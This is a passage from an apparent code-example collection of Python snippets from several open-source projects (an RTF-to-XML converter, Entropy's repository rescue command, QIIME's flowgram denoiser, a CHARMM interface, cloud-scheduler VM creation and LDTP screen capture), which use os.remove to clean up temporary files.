            run_level=self.__run_level,
            )
        color_obj.convert_colors()
        self.__bracket_match('colors_info')
        style_obj = styles.Styles(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            run_level=self.__run_level,
            )
        style_obj.convert_styles()
        self.__bracket_match('styles_info')
        info_obj = info.Info(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            run_level=self.__run_level,
            )
        info_obj.fix_info()
        default_font = special_font_dict.get('default-font')
        preamble_rest_obj = preamble_rest.Preamble(
            file=self.__temp_file, copy=self.__copy,
            bug_handler=RtfInvalidCodeException,
            platform=platform, default_font=default_font,
            code_page=code_page)
        preamble_rest_obj.fix_preamble()
        self.__bracket_match('preamble_rest_info')
        old_rtf_obj = OldRtf(
                in_file=self.__temp_file,
                bug_handler=RtfInvalidCodeException,
                run_level=self.__run_level,
                )
        # RTF can actually have destination groups and old RTF.
        # BAH!
        old_rtf = old_rtf_obj.check_if_old_rtf()
        if old_rtf:
            if self.__run_level > 5:
                msg = 'Older RTF\n' \
                'self.__run_level is "%s"\n' % self.__run_level
                raise RtfInvalidCodeException(msg)
            if self.__run_level > 1:
                sys.stderr.write('File could be older RTF...\n')
            if found_destination:
                if self.__run_level > 1:
                    sys.stderr.write(
                        'File also has newer RTF.\n'
                        'Will do the best to convert...\n'
                    )
            add_brackets_obj = add_brackets.AddBrackets(
                    in_file=self.__temp_file,
                    bug_handler=RtfInvalidCodeException,
                    copy=self.__copy,
                    run_level=self.__run_level,
                    )
            add_brackets_obj.add_brackets()
        fields_small_obj = fields_small.FieldsSmall(
            in_file=self.__temp_file,
            copy=self.__copy,
            bug_handler=RtfInvalidCodeException,
            run_level=self.__run_level,)
        fields_small_obj.fix_fields()
        self.__bracket_match('fix_small_fields_info')
        fields_large_obj = fields_large.FieldsLarge(
            in_file=self.__temp_file,
            copy=self.__copy,
            bug_handler=RtfInvalidCodeException,
            run_level=self.__run_level)
        fields_large_obj.fix_fields()
        self.__bracket_match('fix_large_fields_info')
        sections_obj = sections.Sections(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            run_level=self.__run_level,)
        sections_obj.make_sections()
        self.__bracket_match('sections_info')
        paragraphs_obj = paragraphs.Paragraphs(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            write_empty_para=self.__empty_paragraphs,
            run_level=self.__run_level,)
        paragraphs_obj.make_paragraphs()
        self.__bracket_match('paragraphs_info')
        default_font = special_font_dict['default-font']
        paragraph_def_obj = paragraph_def.ParagraphDef(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            default_font=default_font,
            run_level=self.__run_level,)
        list_of_styles = paragraph_def_obj.make_paragraph_def()
        body_styles_obj = body_styles.BodyStyles(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            list_of_styles=list_of_styles,
            run_level=self.__run_level,)
        body_styles_obj.insert_info()
        self.__bracket_match('body_styles_info')
        self.__bracket_match('paragraph_def_info')
        table_obj = table.Table(
                in_file=self.__temp_file,
                bug_handler=RtfInvalidCodeException,
                copy=self.__copy,
                run_level=self.__run_level,)
        table_data = table_obj.make_table()
        self.__bracket_match('table_info')
        table_info_obj = table_info.TableInfo(
            in_file=self.__temp_file,
            bug_handler=RtfInvalidCodeException,
            copy=self.__copy,
            table_data=table_data,
            run_level=self.__run_level,)
        table_info_obj.insert_info()
        self.__bracket_match('table__data_info')
        if self.__form_lists:
            make_list_obj =  make_lists.MakeLists(
                in_file=self.__temp_file,
                bug_handler=RtfInvalidCodeException,
                copy=self.__copy,
                headings_to_sections=self.__headings_to_sections,
                run_level=self.__run_level,
                list_of_lists=list_of_lists,
                )
            make_list_obj.make_lists()
            self.__bracket_match('form_lists_info')
        if self.__headings_to_sections:
            headings_to_sections_obj =  headings_to_sections.HeadingsToSections(
                in_file=self.__temp_file,
                bug_handler=RtfInvalidCodeException,
                copy=self.__copy,
                run_level=self.__run_level,)
            headings_to_sections_obj.make_sections()
            self.__bracket_match('headings_to_sections_info')
        if self.__group_styles:
            group_styles_obj = group_styles.GroupStyles(
                in_file=self.__temp_file,
                bug_handler=RtfInvalidCodeException,
                copy=self.__copy,
                wrap=1,
                run_level=self.__run_level,)
            group_styles_obj.group_styles()
            self.__bracket_match('group_styles_info')
        if self.__group_borders:
            group_borders_obj = group_borders.GroupBorders(
                in_file=self.__temp_file,
                bug_handler=RtfInvalidCodeException,
                copy=self.__copy,
                wrap=1,
                run_level=self.__run_level,)
            group_borders_obj.group_borders()
            self.__bracket_match('group_borders_info')
        inline_obj = inline.Inline(
                in_file=self.__temp_file,
                bug_handler=RtfInvalidCodeException,
                copy=self.__copy,
                run_level=self.__run_level,)
        inline_obj.form_tags()
        self.__bracket_match('inline_info')
        hex2utf_obj.update_values(file=self.__temp_file,
                            area_to_convert='body',
                            copy=self.__copy,
                            char_file=self.__char_data,
                            convert_caps=self.__convert_caps,
                            convert_symbol=self.__convert_symbol,
                            convert_wingdings=self.__convert_wingdings,
                            convert_zapf=self.__convert_zapf,
                            symbol=1,
                            wingdings=1,
                            dingbats=1,
                )
        hex2utf_obj.convert_hex_2_utf8()
        header_obj.join_headers()
        footnote_obj.join_footnotes()
        tags_obj = convert_to_tags.ConvertToTags(
                in_file=self.__temp_file,
                copy=self.__copy,
                dtd_path=self.__dtd_path,
                indent=self.__indent,
                run_level=self.__run_level,
                no_dtd=self.__no_dtd,
                encoding=encode_obj.get_codepage(),
                bug_handler=RtfInvalidCodeException,
                )
        tags_obj.convert_to_tags()
        output_obj = output.Output(
                file=self.__temp_file,
                orig_file=self.__file,
                output_dir=self.__out_dir,
                out_file=self.__out_file,
            )
        output_obj.output()
        os.remove(self.__temp_file)
        return self.__exit_level

Example 133

Project: entropy
Source File: rescue.py
View license
    @exclusivelock
    def _generate(self, entropy_client, inst_repo):
        """
        Solo Smart Generate command.
        """
        mytxt = "%s: %s"  % (
            brown(_("Attention")),
            darkred(_("the Installed Packages repository "
                      "will be re-generated using the "
                      "Source Package Manager")),
            )
        entropy_client.output(
            mytxt,
            level="warning",
            importance=1)

        mytxt = "%s: %s"  % (
            brown(_("Attention")),
            darkred(_("I am not joking, this is quite disruptive")),
            )
        entropy_client.output(
            mytxt,
            level="warning",
            importance=1)

        rc = entropy_client.ask_question(
            "  %s" % (_("Understood ?"),))
        if rc == _("No"):
            return 1
        rc = entropy_client.ask_question(
            "  %s" % (_("Really ?"),) )
        if rc == _("No"):
            return 1
        rc = entropy_client.ask_question(
            "  %s. %s" % (
                _("This is your last chance"),
                _("Ok?"),)
            )
        if rc == _("No"):
            return 1

        # clean caches
        spm = entropy_client.Spm()
        entropy_client.clear_cache()

        # try to get a list of current package ids, if possible
        try:
            package_ids = inst_repo.listAllPackageIds()
        except Exception as err:
            entropy.tools.print_traceback()
            entropy_client.output(
                "%s: %s" % (
                    darkred(_("Cannot read metadata")),
                    err,
                    ),
                level="warning"
            )
            package_ids = []

        # try to collect current installed revisions if possible
        # and do the same for digest
        revisions_match = {}
        digest_match = {}
        for package_id in package_ids:
            try:
                atom = inst_repo.retrieveAtom(
                    package_id)
                revisions_match[atom] = inst_repo.retrieveRevision(
                    package_id)
                digest_match[atom] = inst_repo.retrieveDigest(
                    package_id)
            except Exception as err:
                entropy.tools.print_traceback()
                entropy_client.output(
                    "%s: %s" % (
                        darkred(_("Cannot read metadata")),
                        err,
                        ),
                    level="warning"
                )

        repo_path = entropy_client.installed_repository_path()
        entropy_client.output(
            darkgreen(_("Creating a backup of the current repository")),
            level="info",
            importance=1,
            header=darkred(" @@ "))
        entropy_client.output(
            repo_path,
            header="  ")

        inst_repo.commit()
        backed_up, msg = self._backup_repository(
            entropy_client, inst_repo, repo_path)
        if not backed_up:
            mytxt = "%s: %s" % (
                darkred(_("Cannot backup the repository")),
                brown("%s" % msg),)
            entropy_client.output(
                mytxt,
                level="error",
                importance=1,
                header=darkred(" @@ "))
            return 1

        entropy_client.close_installed_repository()
        # repository will be re-opened automagically
        # at the next access.
        try:
            os.remove(repo_path)
        except OSError as err:
            if err.errno != errno.ENOENT:
                mytxt = "%s: %s" % (
                    purple(_("Cannot delete old repository")),
                    brown("%s" % err),)
                entropy_client.output(
                    mytxt,
                    level="warning",
                    importance=1,
                    header=darkred(" @@ "))
                return 1

        entropy_client.output(
            purple(_("Initializing a new repository")),
            importance=1,
            header=darkred(" @@ "))
        entropy_client.output(
            brown(repo_path),
            header="  ")

        # open a repository at the old path, if repo_path is
        # not in place, Entropy will forward us to the in-RAM
        # database (for sqlite), which is not what we want.
        inst_repo.initializeRepository()
        inst_repo.commit()

        entropy_client.output(
            purple(_("Repository initialized, generating metadata")),
            importance=1,
            header=darkred(" @@ "))

        spm_packages = spm.get_installed_packages()
        total = len(spm_packages)
        count = 0
        # perf: reuse temp file
        tmp_fd, tmp_path = const_mkstemp(
            prefix="equo.rescue.generate")
        os.close(tmp_fd)

        for spm_package in spm_packages:
            count += 1

            # make sure the file is empty
            with open(tmp_path, "w") as tmp_f:
                tmp_f.flush()

            entropy_client.output(
                teal(spm_package),
                count=(count, total),
                back=True,
                header=brown(" @@ "))

            appended = spm.append_metadata_to_package(
                spm_package, tmp_path)
            if not appended:
                entropy_client.output(
                    "%s: %s" % (
                        purple(_("Invalid package")),
                        teal(spm_package),),
                    importance=1,
                    header=darkred(" @@ "))
                continue

            try:
                data = spm.extract_package_metadata(tmp_path)
            except Exception as err:
                entropy.tools.print_traceback()
                entropy_client.output(
                    "%s, %s: %s" % (
                        teal(spm_package),
                        purple(_("Metadata generation error")),
                        err,
                        ),
                    level="warning",
                    importance=1,
                    header=darkred(" @@ ")
                    )
                continue

            # Try to see if it's possible to use
            # the revision of a possible old db
            data['revision'] = etpConst['spmetprev']
            # create atom string
            atom = entropy.dep.create_package_atom_string(
                data['category'],
                data['name'],
                data['version'],
                data['versiontag'])

            # now see if a revision is available
            saved_rev = revisions_match.get(atom)
            if saved_rev is not None:
                saved_rev = saved_rev
                data['revision'] = saved_rev

            # set digest to "0" to disable entropy dependencies
            # calculation check that forces the pkg to
            # be pulled in if digest differs from the one on the repo
            saved_digest = digest_match.get(atom, "0")
            data['digest'] = saved_digest

            package_id = inst_repo.addPackage(data,
                revision = data['revision'])
            inst_repo.storeInstalledPackage(package_id,
                etpConst['spmdbid'])

        try:
            os.remove(tmp_path)
        except OSError:
            pass

        entropy_client.output(
            purple(_("Indexing metadata, please wait...")),
            header=darkgreen(" @@ "), back=True
            )
        inst_repo.createAllIndexes()
        inst_repo.commit()
        entropy_client.output(
            purple(_("Repository metadata generation complete")),
            header=darkgreen(" @@ ")
            )
        return 0

Example 134

Project: qiime
Source File: flowgram_clustering.py
View license
def denoise_seqs(
        sff_fps, fasta_fp, tmpoutdir, preprocess_fp=None, cluster=False,
        num_cpus=1, squeeze=True, percent_id=0.97, bail=1, primer="",
        low_cutoff=3.75, high_cutoff=4.5, log_fp="denoiser.log",
        low_memory=False, verbose=False,
        error_profile=DENOISER_DATA_DIR + 'FLX_error_profile.dat',
        max_num_rounds=None, titanium=False, checkpoint_fp=None):
    """The main routine to denoise flowgrams"""

    # abort if binary is missing
    check_flowgram_ali_exe()

    if verbose:
        # switch of buffering for log file
        log_fh = open(tmpoutdir + "/" + log_fp, "w", 0)
    else:
        log_fh = None

    # overwrite settings if titanium is set
    # This flag is only used from qiime. Remove after qiime integration
    if titanium:
        error_profile = DENOISER_DATA_DIR + "Titanium_error_profile.dat"
        low_cutoff = 4
        high_cutoff = 5

    if verbose:
        log_fh.write("Denoiser version: %s\n" % __version__)
        log_fh.write("SFF files: %s\n" % ', '.join(sff_fps))
        log_fh.write("Fasta file: %s\n" % fasta_fp)
        log_fh.write("Preprocess dir: %s\n" % preprocess_fp)
        if checkpoint_fp:
            log_fh.write("Resuming denoiser from %s\n" % checkpoint_fp)
        log_fh.write("Primer sequence: %s\n" % primer)
        log_fh.write("Running on cluster: %s\n" % cluster)
        log_fh.write("Num CPUs: %d\n" % num_cpus)
        log_fh.write("Squeeze Seqs: %s\n" % squeeze)
        log_fh.write("tmpdir: %s\n" % tmpoutdir)
        log_fh.write("percent_id threshold: %.2f\n" % percent_id)
        log_fh.write("Minimal sequence coverage for first phase: %d\n" % bail)
        log_fh.write("Low cut-off: %.2f\n" % low_cutoff)
        log_fh.write("High cut-off: %.2f\n" % high_cutoff)
        log_fh.write("Error profile: %s\n" % error_profile)
        log_fh.write("Maximal number of iteration: %s\n\n" % max_num_rounds)

    # here we go ...
    # Phase I - clean up and truncate input sff
    if(checkpoint_fp):
        if (preprocess_fp):
            # skip preprocessing as we should have data
            # we already have preprocessed data, so use it
            (deprefixed_sff_fp, l, mapping,
             seqs) = read_preprocessed_data(preprocess_fp)
        else:
            raise ApplicationError(
                "Resuming from checkpoint requires --preprocess option")

    else:
        if(preprocess_fp):
            # we already have preprocessed data, so use it
            (deprefixed_sff_fp, l, mapping,
             seqs) = read_preprocessed_data(preprocess_fp)
        elif(cluster):
            preprocess_on_cluster(sff_fps, log_fp, fasta_fp=fasta_fp,
                                  out_fp=tmpoutdir, verbose=verbose,
                                  squeeze=squeeze, primer=primer)
            (deprefixed_sff_fp, l, mapping,
             seqs) = read_preprocessed_data(tmpoutdir)
        else:
            (deprefixed_sff_fp, l, mapping, seqs) = \
                preprocess(
                    sff_fps, log_fh, fasta_fp=fasta_fp, out_fp=tmpoutdir,
                    verbose=verbose, squeeze=squeeze, primer=primer)

        # preprocessor writes into same file, so better jump to end of file
        if verbose:
            log_fh.close()
            log_fh = open(tmpoutdir + "/" + log_fp, "a", 0)

    # phase II:
    # use prefix map based clustering as initial centroids and greedily
    # add flowgrams to clusters with a low threshold

    (new_sff_file, bestscores, mapping) = \
        greedy_clustering(deprefixed_sff_fp, seqs, mapping, tmpoutdir, l,
                          log_fh, num_cpus=num_cpus, on_cluster=cluster,
                          bail_out=bail, pair_id_thresh=percent_id,
                          threshold=low_cutoff, verbose=verbose,
                          fast_method=not low_memory,
                          error_profile=error_profile,
                          max_num_rounds=max_num_rounds,
                          checkpoint_fp=checkpoint_fp)

    # phase III phase:
    # Assign seqs to nearest existing centroid with high threshold
    secondary_clustering(new_sff_file, mapping, bestscores, log_fh,
                         verbose=verbose, threshold=high_cutoff)
    remove(new_sff_file)
    if (verbose):
        log_fh.write("Finished clustering\n")
        log_fh.write("Writing Clusters\n")
        log_fh.write(make_stats(mapping) + "\n")
    store_clusters(mapping, deprefixed_sff_fp, tmpoutdir)
    store_mapping(mapping, tmpoutdir, "denoiser")

Example 135

Project: pdbtools
Source File: interface.py
View license
def charmmWash(input_structures,calc_type="single",keep_temp=False,
               hbond=None,fix_atoms=True,num_steps=500):
    """
    Wash a structure through CHARMM, adding polar hydrogens and missing heavy
    atoms.
    
    Input:
        pdb_files = [(file_contents,n_terminus,c_terminus),...]
            file_contents are the coordinates of a pdb file
            n_terminus and c_terminus are boolean
        calc_type = type of hydrogen minimization to do
        keep_temp = whether or not to keep temporary files.
        hbond = file to write out hbonds to.  (If hbonds are calculated, the
            structure changes...)
        fix_atoms = whether or not to fix atoms that were in the original
            file.
    """
       
    # Convert all structures in input_structures to charmm-readable files
    struct_input = []    
    for index, structure in enumerate(input_structures):
    
        pdb = structure[0]
        n_terminus = structure[1]
        c_terminus = structure[2]
        
        tmp_file = "%i_tmp.pdb" % index
        g = open(tmp_file,'w')
        g.writelines(pdb)
        g.close()
        
        struct_input.append((tmp_file,n_terminus,c_terminus))
  
    # Make sure that there are not too many input files for CHARMM.  If too 
    # many files are passed, CHARMM doesn't raise an error; it just idles. 
    # To prevent the stall, I've made it a hard error.
    if len(struct_input) > 25:
        err = "There are too many input files (%i) " % len(struct_input)
        err += "for CHARMM.  Try splitting the input pdb into parts."
        raise CharmmInterfaceError(err)
 
    # Create CHARMM
    input = gen_input.createCharmmFile(struct_input,calc_type,hbond,
                                       fix_atoms=fix_atoms,
                                       num_steps=num_steps)
    
    # Run CHARMM
    charmm_out = runCharmm(input)
    
    # Try to read CHARMM output coordinates
    try:
        f = open("out.cor","r")
        coord_out = f.readlines()
        f.close()
    except IOError:
        
        f = open("charmm.inp","w")
        f.write(input)
        f.close()
        
        f = open("charmm.out","w")
        f.writelines(charmm_out)
        f.close()
        
        err = ["It appears that CHARMM has failed.\n"]
        err.append("   Input written to: charmm.inp\n")
        err.append("   Output writen to: charmm.out")
        raise CharmmInterfaceError("".join(err))
    
    # Convert CHARMM coordinates to a standard pdb format
    pdb_out = charmm2pdb(coord_out)
    
    # Delete temporary files
    if not keep_temp:
        tmp_files = [s[0] for s in struct_input]
        tmp_files.append("out.cor")
        for f in tmp_files:
            try:
                os.remove(f)
            except OSError:
                pass
    else:
        f = open("charmm.inp","w")
        f.write(input)
        f.close()
        
        f = open("charmm.out","w")
        f.writelines(charmm_out)
        f.close()
    
    return pdb_out

Example 136

View license
    def test_doctest_issue4197(self):
        # To avoid having to keep two copies of the doctest module's
        # unit tests in sync, this test works by taking the source of
        # test_doctest itself, rewriting it a bit to cope with a new
        # location, and then throwing it in a zip file to make sure
        # everything still works correctly
        test_src = inspect.getsource(test_doctest)
        test_src = test_src.replace(
                         "from test import test_doctest",
                         "import test_zipped_doctest as test_doctest")
        test_src = test_src.replace("test.test_doctest",
                                    "test_zipped_doctest")
        test_src = test_src.replace("test.sample_doctest",
                                    "sample_zipped_doctest")
        sample_src = inspect.getsource(sample_doctest)
        sample_src = sample_src.replace("test.test_doctest",
                                        "test_zipped_doctest")
        with temp_dir() as d:
            script_name = make_script(d, 'test_zipped_doctest',
                                            test_src)
            zip_name, run_name = make_zip_script(d, 'test_zip',
                                                script_name)
            z = zipfile.ZipFile(zip_name, 'a')
            z.writestr("sample_zipped_doctest.py", sample_src)
            z.close()
            if verbose:
                zip_file = zipfile.ZipFile(zip_name, 'r')
                print ('Contents of %r:' % zip_name)
                zip_file.printdir()
                zip_file.close()
            os.remove(script_name)
            sys.path.insert(0, zip_name)
            import test_zipped_doctest
            try:
                # Some of the doc tests depend on the colocated text files
                # which aren't available to the zipped version (the doctest
                # module currently requires real filenames for non-embedded
                # tests). So we're forced to be selective about which tests
                # to run.
                # doctest could really use some APIs which take a text
                # string or a file object instead of a filename...
                known_good_tests = [
                    test_zipped_doctest.SampleClass,
                    test_zipped_doctest.SampleClass.NestedClass,
                    test_zipped_doctest.SampleClass.NestedClass.__init__,
                    test_zipped_doctest.SampleClass.__init__,
                    test_zipped_doctest.SampleClass.a_classmethod,
                    test_zipped_doctest.SampleClass.a_property,
                    test_zipped_doctest.SampleClass.a_staticmethod,
                    test_zipped_doctest.SampleClass.double,
                    test_zipped_doctest.SampleClass.get,
                    test_zipped_doctest.SampleNewStyleClass,
                    test_zipped_doctest.SampleNewStyleClass.__init__,
                    test_zipped_doctest.SampleNewStyleClass.double,
                    test_zipped_doctest.SampleNewStyleClass.get,
                    test_zipped_doctest.sample_func,
                    test_zipped_doctest.test_DocTest,
                    test_zipped_doctest.test_DocTestParser,
                    test_zipped_doctest.test_DocTestRunner.basics,
                    test_zipped_doctest.test_DocTestRunner.exceptions,
                    test_zipped_doctest.test_DocTestRunner.option_directives,
                    test_zipped_doctest.test_DocTestRunner.optionflags,
                    test_zipped_doctest.test_DocTestRunner.verbose_flag,
                    test_zipped_doctest.test_Example,
                    test_zipped_doctest.test_debug,
                    test_zipped_doctest.test_pdb_set_trace,
                    test_zipped_doctest.test_pdb_set_trace_nested,
                    test_zipped_doctest.test_testsource,
                    test_zipped_doctest.test_trailing_space_in_test,
                    test_zipped_doctest.test_DocTestSuite,
                    test_zipped_doctest.test_DocTestFinder,
                ]
                # These remaining tests are the ones which need access
                # to the data files, so we don't run them
                fail_due_to_missing_data_files = [
                    test_zipped_doctest.test_DocFileSuite,
                    test_zipped_doctest.test_testfile,
                    test_zipped_doctest.test_unittest_reportflags,
                ]
                for obj in known_good_tests:
                    _run_object_doctest(obj, test_zipped_doctest)
            finally:
                del sys.modules["test_zipped_doctest"]

Example 137

Project: cloud-scheduler
Source File: nimbuscluster.py
View license
    def vm_create(self, vm_name, vm_type, vm_user, vm_networkassoc, vm_cpuarch,
            vm_image, vm_mem, vm_cores, vm_storage, customization=None, vm_keepalive=0,
            job_proxy_file_path=None, myproxy_creds_name=None, myproxy_server=None, 
            myproxy_server_port=None, job_per_core=False, proxy_non_boot=False,
            vmimage_proxy_file=None, vmimage_proxy_file_path=None):
        """Attempt to boot up a new VM on the cluster."""
        def _remove_files(files):
            """Private function to clean up temporary files created during the create process."""
            for file in files:
                try:
                    if file:
                        log.verbose("Deleting %s" % file)
                        os.remove(file)
                except:
                    log.exception("Couldn't delete %s" % file)

        log.verbose("Nimbus cloud create command")

        if vm_networkassoc == "":
            # No network specified, so just pick the first available one
            try:
                for netpool in self.net_slots.keys():
                    if self.net_slots[netpool] > 0:
                        vm_networkassoc = netpool
                        break
                if vm_networkassoc == "":
                    vm_networkassoc = self.network_pools[0]
            except:
                log.exception("No network pool available? Aborting vm creation.")
                return self.ERROR

        # Create a workspace metadata xml file
        if not self.temp_lease_storage:
            vm_metadata = nimbus_xml.ws_metadata_factory(vm_name, vm_networkassoc, \
                self.cpu_archs[0], vm_image, vm_storage > 0, self.image_attach_device,
                self.scratch_attach_device,)
        else:
            vm_metadata = nimbus_xml.ws_metadata_factory(vm_name, vm_networkassoc, \
                self.cpu_archs[0], vm_image, False, self.image_attach_device,
                self.scratch_attach_device,)


        # Create a deployment request file
        if not self.temp_lease_storage:
            vm_deploymentrequest = nimbus_xml.ws_deployment_factory(vm_duration = self.vm_lifetime, \
                vm_targetstate = self.VM_TARGETSTATE, vm_mem = vm_mem, vm_storage = vm_storage, vm_nodes = self.VM_NODES, vm_cores=vm_cores)
        else:
            vm_deploymentrequest = nimbus_xml.ws_deployment_factory(vm_duration = self.vm_lifetime, \
                vm_targetstate = self.VM_TARGETSTATE, vm_mem = vm_mem, vm_storage = None, vm_nodes = self.VM_NODES, vm_cores=vm_cores)

        job_proxy = None
        try:
            with open(job_proxy_file_path) as proxy:
                job_proxy = proxy.read()
        except:
            if job_proxy_file_path:
                log.exception("Couldn't open '%s', Backing out of VM Creation." % (job_proxy_file_path))
                return -1 # Temp Ban job

        if customization or job_proxy or vmimage_proxy_file:
            image_scheme = urlparse(vm_image).scheme
            if image_scheme == "https":
                if vmimage_proxy_file:
                    try:
                        with open(vmimage_proxy_file_path) as proxy:
                            vmimage_proxy = proxy.read()
                    except:
                        if vmimage_proxy_file:
                            log.exception("Couldn't open '%s' path for %s, Backing out of VM Creation." % (vmimage_proxy_file_path, vmimage_proxy_file))
                            return -1 # Temp Ban job
                    _job_proxy = vmimage_proxy
                else:
                    _job_proxy = job_proxy
            else:
                _job_proxy = None
            vm_optional = nimbus_xml.ws_optional_factory(custom_tasks=customization, credential=_job_proxy)
        else:
            vm_optional = None


        # Set a timestamp for VM creation
        #now = datetime.datetime.now()

        # Create an EPR file name (unique with timestamp)
        (epr_handle, vm_epr) = tempfile.mkstemp(suffix=".vm_epr")
        os.close(epr_handle)

        nimbus_files = [vm_epr, vm_metadata, vm_deploymentrequest, vm_optional]

        # Create cached copy of job proxy to be used by VM for startup and shutdown.
        vm_proxy_file_path = None
        if job_proxy_file_path and not proxy_non_boot:
            try:
                vm_proxy_file_path = self._cache_proxy(job_proxy_file_path)
                log.verbose("Cached proxy to '%s'" % vm_proxy_file_path)
            except:
                log.exception("Problem caching proxy.")
                _remove_files(nimbus_files)
                return -1

        # Create the workspace command as a list (private method)
        ws_cmd = self.vmcreate_factory(vm_epr, vm_metadata, vm_deploymentrequest, optional_file=vm_optional)
        

        log.debug("Command: " + string.join(ws_cmd, " "))

        # Execute the workspace create command: returns immediately.
        env = None;
        if vm_proxy_file_path != None and not proxy_non_boot:
            env = {'X509_USER_PROXY':vm_proxy_file_path}
            log.debug("VM creation environment will contain:\n\tX509_USER_PROXY = %s" % (vm_proxy_file_path))

        (create_return, create_out, create_err) = self.vm_execwait(ws_cmd, env)

        if (create_return != 0):
            if create_out == "" or create_out == None:
                create_out = "No Output returned."
            if create_err == "" or create_err == None:
                create_err = "No Error output returned."
            log.warning("Error creating VM %s: %s %s %s" % (vm_name, create_out, create_err, create_return))
            _remove_files(nimbus_files + [vm_proxy_file_path])
            err_type = self._extract_create_error(create_err)
            ## TODO Figure out some error codes to return then handle the codes in the scheduler vm creation code
            if err_type == 'NoProxy' or err_type == 'ExpiredProxy':
                create_return = -1
            elif err_type == 'NoSlotsInNetwork' and config.adjust_insufficient_resources:
                with self.res_lock:
                    if vm_networkassoc in self.net_slots.keys():
                        self.vm_slots -= self.net_slots[vm_networkassoc]
                        self.net_slots[vm_networkassoc] = 0 # no slots remaining
                create_return = -2
            elif err_type =='NotEnoughMemory' and config.adjust_insufficient_resources:
                with self.res_lock:
                    index = self.find_mementry(vm_mem)
                    self.memory[index] = vm_mem - 1 # may still be memory, but just not enough for this vm
                create_return = -2
            elif err_type == 'ExceedMaximumWorkspaces' or err_type == 'NotAuthorized':
                create_return = -3

            return create_return

        log.verbose("Nimbus create command executed.")

        log.verbose("Deleting temporary Nimbus Metadata files")
        _remove_files(nimbus_files)

        # Find the memory entry in the Cluster 'memory' list which _create will be
        # subtracted from
        vm_mementry = self.find_mementry(vm_mem)
        if (vm_mementry < 0):
            # At this point, there should always be a valid mementry, as the ResourcePool
            # get_resource methods have selected this cluster based on having an open
            # memory entry that fits VM requirements.
            log.error("Cluster memory list has no sufficient memory " +\
              "entries (Not supposed to happen). Returning error.")
        log.verbose("Memory entry found in given cluster: %d" % vm_mementry)

        # Get the id of the VM from the output of workspace.sh
        try:
            vm_id = re.search("Workspace created: id (\d*)", create_out).group(1)
        except:
            log.error("Couldn't find workspace id for new VM")
            create_return = -3
            return create_return
        try:
            vm_ip = re.search("IP address: (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", create_out).group(1)
        except:
            log.error("Couldn't find the ip address for new VM")
            create_return = -3
            return create_return

        # Get the first part of the hostname given to the VM
        vm_hostname = self._extract_hostname(create_out)
        if vm_hostname:
            log.verbose("Hostname for vm_id %s is %s" % (vm_id, vm_hostname))
        else:
            log.warning("Unable to get the VM hostname, for vm_id %s" % vm_id)

        if not vm_keepalive and self.keep_alive: #if job didn't set a keep_alive use the clouds default
            vm_keepalive = self.keep_alive
        # Create a VM object to represent the newly created VM
        new_vm = cluster_tools.VM(name = vm_name, id = vm_id, vmtype = vm_type, user = vm_user,
            hostname = vm_hostname, ipaddress = vm_ip, 
            clusteraddr = self.network_address, clusterport = self.port,
            cloudtype = self.cloud_type,network = vm_networkassoc,
            cpuarch = vm_cpuarch, image = vm_image,
            memory = vm_mem, mementry = vm_mementry, cpucores = vm_cores,
            storage = vm_storage, keep_alive = vm_keepalive, 
            proxy_file = vm_proxy_file_path, 
            myproxy_creds_name = myproxy_creds_name, myproxy_server = myproxy_server, 
            myproxy_server_port = myproxy_server_port, job_per_core = job_per_core)

        # Add the new VM object to the cluster's vms list And check out required resources
        try:
            self.resource_checkout(new_vm)
        except:
            log.exception("Unexpected error checking out resources when creating a VM. Programming error?")
            return self.ERROR
        self.vms.append(new_vm)
        log.info("Started vm %s on %s using image at %s" % (new_vm.id, new_vm.clusteraddr, new_vm.image))
        return create_return

Example 138

Project: ldtp2
Source File: generic.py
View license
    def imagecapture(self, window_name = None, x = 0, y = 0,
                     width = None, height = None):
        """
        Captures screenshot of the whole desktop or given window
        
        @param window_name: Window name to look for, either full name,
        LDTP's name convention, or a Unix glob.
        @type window_name: string
        @param x: x co-ordinate value
        @type x: int
        @param y: y co-ordinate value
        @type y: int
        @param width: width co-ordinate value
        @type width: int
        @param height: height co-ordinate value
        @type height: int

        @return: screenshot with base64 encoded for the client
        @rtype: string
        """	
        # Validate the parameters
        # x and y offsets cannot be nagative
        x = max(0, x)
        y = max(0, y)

        # height and width cannot be less than 1
        # set to None if nagative value is given
        if width < 1:
            width = None
        if height < 1:
            height = None
	
        if window_name:
            acc = None
            for gui in self._list_guis():
                if self._match_name_to_acc(window_name, gui):
                    if 'Component' in pyatspi.listInterfaces(gui):
                        acc = gui
                        for obj in self._list_objects(gui):
                            role = obj.getRole()
                            if role == pyatspi.ROLE_CHECK_BOX or \
                                    role == pyatspi.ROLE_PUSH_BUTTON or \
                                    role == pyatspi.ROLE_RADIO_BUTTON:
                                try:
                                    # Try to grab focus
                                    self._grab_focus(obj)
                                except:
                                    pass
                                # Inner for loop
                                break
                        # Outer for loop
                        break
            if not acc:
                raise LdtpServerException('No window matches %s' % window_name)
            icomponent = acc.queryComponent()
            bb = icomponent.getExtents(pyatspi.DESKTOP_COORDS)
            # If co-ordinates are provided, use it
            # offsets cannot be greater than or equal to the window size
            # we want to capture at least one pixel
            x = min(x, bb.width - 1)
            y = min(y, bb.height - 1)

            # adjust the width and height parameters
            # so that the captured image is contained
            # within the visible window area
            # Take into account that window may be only
            # partially on the screen then the reported
            # width and height are not the same as the area of the window
            # that can actually be captured.
            
            # if bb.x is negative then the actual width 
            # is smaller than the bb.width
            leftClippedWidth = min(bb.width, bb.width + bb.x)
            
            # if bb.y is negative then the actual height
            # is smaller than the bb.height
            topClippedHeight = min(bb.height, bb.height + bb.y)
            
            # Clipping from the right and bottom is done later
            # when the desktop size is known            
            if width == None:                
                width = leftClippedWidth - x
            else:
                width = min(width, leftClippedWidth - x)
            if height == None:
                height = topClippedHeight - y
            else:
                height = min(height, topClippedHeight - y)

            # take the window position into account
            # use 0 as the window co-oridinate
            # if it is negative
            x = x + max(0, bb.x)
            y = y + max(0, bb.y)

        tmpFile = tempfile.mktemp('.png', 'ldtpd_')
        if gtk3:
